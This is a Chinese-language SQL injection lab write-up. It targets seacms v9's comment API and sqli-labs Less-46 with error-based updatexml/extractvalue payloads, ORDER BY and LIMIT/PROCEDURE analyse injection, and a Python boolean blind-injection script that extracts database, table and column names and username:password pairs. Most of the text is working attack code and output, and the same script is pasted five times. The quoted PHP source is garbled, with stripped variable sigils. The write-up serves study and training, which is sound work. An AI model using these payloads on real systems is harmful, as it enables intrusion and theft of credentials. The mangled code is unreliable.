一、seacmsv9注入管理员账号密码
1.php源码
<?php
session_start();
require_once("../../include/common.php");
id = (isset(gid) && is_numeric(gid)) ? gid : 0;
page = (isset(page) && is_numeric(page)) ? page : 1;
type = (isset(type) && is_numeric(type)) ? type : 1;
$pCount = 0;
jsoncachefile = sea_DATA."/cache/review/type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
json=LoadFile(jsoncachefile);
die($json);
}
}
h = ReadData(id,$page);
$rlist = array();
if($page<2)
{
createTextFile(h,jsoncachefile);
}
die($h);
function ReadData(id,page)
{
global type,pCount,$rlist;
ret = array("","",page,0,10,type,id);
if($id>0)
{
ret\[0\] = Readmlist(id,page,ret[4]);
ret\[3\] = pCount;
x = implode(',',rlist);
if(!empty($x))
{
ret\[1\] = Readrlist(x,1,10000);
}
}
readData = FormatJson(ret);
return $readData;
}
function Readmlist(id,page,$size)
{
global dsql,type,pCount,rlist;
$ml=array();
if($id>0)
{
sqlCount = "SELECT count(\*) as dd FROM sea_comment WHERE m_type=type AND v_id=$id ORDER BY id DESC";
rs = dsql ->GetOne($sqlCount);
pCount = ceil(rs['dd']/$size);
sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=type AND v_id=id ORDER BY id DESC limit ".(page-1)*size.",size ";
dsql-\>setQuery(sql);
$dsql->Execute('commentmlist');
while(row=dsql->GetArray('commentmlist'))
{
row\['reply'\].=ReadReplyID(id,row\['reply'\],rlist);
ml\[\]="{\\"cmid\\":".row['id'].",\"uid\":".row\['uid'\].",\\"tmp\\":\\"\\",\\"nick\\":\\"".row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty(row\['username'\])?1:0).",\\"from\\":\\"".row['username']."\",\"time\":\"".date("Y/n/j H:i:s",row\['dtime'\])."\\",\\"reply\\":\\"".row['reply']."\",\"content\":\"".row\['msg'\]."\\",\\"agree\\":".row['agree'].",\"aginst\":".row\['anti'\].",\\"pic\\":\\"".row['pic']."\",\"vote\":\"".row\['vote'\]."\\",\\"allow\\":\\"".(empty(row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
readmlist=join(ml,",");
return $readmlist;
}
function Readrlist(ids,page,$size)
{
global dsql,type;
$rl=array();
sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=type AND id in ($ids) ORDER BY id DESC";
dsql-\>setQuery(sql);
$dsql->Execute('commentrlist');
while(row=dsql->GetArray('commentrlist'))
{
rl\[\]="\\"".row['id']."\":{\"uid\":".row\['uid'\].",\\"tmp\\":\\"\\",\\"nick\\":\\"".row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty(row\['username'\])?1:0).",\\"from\\":\\"".row['username']."\",\"time\":\"".row\['dtime'\]."\\",\\"reply\\":\\"".row['reply']."\",\"content\":\"".row\['msg'\]."\\",\\"agree\\":".row['agree'].",\"aginst\":".row\['anti'\].",\\"pic\\":\\"".row['pic']."\",\"vote\":\"".row\['vote'\]."\\",\\"allow\\":\\"".(empty(row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
readrlist=join(rl,",");
return $readrlist;
}
function ReadReplyID(gid,cmid,&$rlist)
{
global $dsql;
if($cmid>0)
{
if(!in_array(cmid,rlist))rlist\[\]=cmid;
row = dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
if(is_array($row))
{
ReplyID = ",".row['reply'].ReadReplyID(gid,row['reply'],$rlist);
}else
{
$ReplyID = "";
}
}else
{
$ReplyID = "";
}
return $ReplyID;
}
function FormatJson($json)
{
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
for(i=6;i>=0;$i--)
{
x=str_replace("%".i."%",json\[i],$x);
}
formatJson = jsonescape(x);
return $formatJson;
}
function jsonescape($txt)
{
jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\\u",json_encode("".txt)))));
return $jsonescape;
}
2.进行sql语句构造
报错注入出user

当我们输入以下时会回显数据库名:
127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@`%27`

127.0.0.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

注入失败
2.1 order by 注入
正常的oder by 语句:
select * from users order by id desc;
通过报错注入(有回显)
这里用updatexml函数来执行报错注入的效果:
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security' //获取当前数据库
获取数据库个数
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
获取数据库列表
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'
select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1)),0);
当 updatexml 的第二个参数返回有效数据时(例如 ~information_schema),MySQL会触发错误,并在错误信息中显示该数据。
当 updatexml 的第二个参数返回 NULL 时(例如 limit 7,1 超出范围),MySQL不会触发错误,而是正常执行查询,返回 users 表的所有数据。
获取表个数
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
获取表名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'
获取字段个数
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
获取字段名
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'
获取信息
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
通过盲注(没有回显)
另外就是没有order by注入没有回显的情况,这时就该用到盲注了,也就是说采取根据页面回显的状态进行判断的形式来进行布尔盲注。
接着再来看刚刚的简单sql语句
select * from users order by id desc;
这里的desc是可控字符串的话,我们让这条语句变下形:
select * from users order by id ^0;
这样的话,由于order by默认是升序排列的,没有desc也没有影响,同时,加上了^0也还是id本身,所以跟原来正常的排序没有任何的变化。
select * from users order by id ^1;
但如果是加上了^1的话,就会跟原来的排序发生明显变化,盲注也就通过这里的变化来判断我们注入的sql语句是否返回1。
另外,这里的盲注还用到了regexp,最终的sql注入语句变为:
select * from users order by id ^(select(select version()) regexp '^5');
2.2 limit注入
一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字
不存在 order by 关键字
执行语句
select id from users limit 0,1
select id from users limit 0,1 union select username from users;
select id from users order by id desc limit 0,1;
MySQL 5中的SELECT语法:
SELECT
ALL \| DISTINCT \| DISTINCTROW
HIGH_PRIORITY
STRAIGHT_JOIN
SQL_SMALL_RESULT\] \[SQL_BIG_RESULT\] \[SQL_BUFFER_RESULT
SQL_CACHE \| SQL_NO_CACHE\] \[SQL_CALC_FOUND_ROWS
select_expr [, select_expr ...]
FROM table_references \[WHERE where_condition
GROUP BY {col_name \| expr \| position} \[ASC \| DESC\], ... \[WITH ROLLUP\]
HAVING where_condition
ORDER BY {col_name \| expr \| position} \[ASC \| DESC\], ...
LIMIT {\[offset,\] row_count \| row_count OFFSET offset}
PROCEDURE procedure_name(argument_list)
INTO OUTFILE 'file_name' export_options \| INTO DUMPFILE 'file_name' \| INTO var_name \[, var_name\]
FOR UPDATE \| LOCK IN SHARE MODE\]
使用 PROCEDURE函数进行注入
mysqlmysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
3.进行报错注入
3.1 报错注入出数据库用户名

3.2 报错爆出数据库名字

3.3 报错爆出用户名和密码
此时则需要向表中插入数据
INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
VALUES
(1, 100, 1, 'user1', '192.168.1.1', 1, UNIX_TIMESTAMP(), 'This is a comment', 1, 0, 0, 0, 'image1.jpg', 10),
(2, 101, 2, 'user2', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'This is another comment', 2, 0, 0, 0, 'image2.jpg', 5);
然后再次报错注入,就发现可以注入出管理员

爆出管理员密码:

此处的密码被加密处理,根据密文特征判断出是采用MD5加密的,使用工具进行解密即可
密码:admin
二、Order by
1、sort传入id

2、sort传入username

3.布尔盲注
使用用sort=if(表达式,id,username)的方式注入,通过BeautifulSoup模块爬取表格中username下一格的值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen(布尔)注入。
具体代码如下:
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if name == 'main':
inject_database_boolen()
inject_table_boolen()
inject_column_boolen()
inject_data_boolen()
3.1 获取数据库名
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if name == 'main':
inject_database_boolen()
inject_table_boolen()
inject_column_boolen()
inject_data_boolen()
3.2 获取表名
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if name == 'main':
inject_database_boolen()
inject_table_boolen()
inject_column_boolen()
inject_data_boolen()
3.3 获取字段名
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if name == 'main':
inject_database_boolen()
inject_table_boolen()
inject_column_boolen()
inject_data_boolen()
3.4获取数据
import requests
from bs4 import BeautifulSoup
def get_username(resp):
soup = BeautifulSoup(resp,'html.parser')
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
return username
def inject_database_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_table_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_column_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \
information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
def inject_data_boolen():
tables = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
url = f"http://localhost/sqli-labs-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \
from users),{i},1))>{mid},id,username) -- "
resp = requests.get(url)
if 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
tables += chr(mid)
i += 1
print(tables)
if name == 'main':
inject_database_boolen()
inject_table_boolen()
inject_column_boolen()
inject_data_boolen()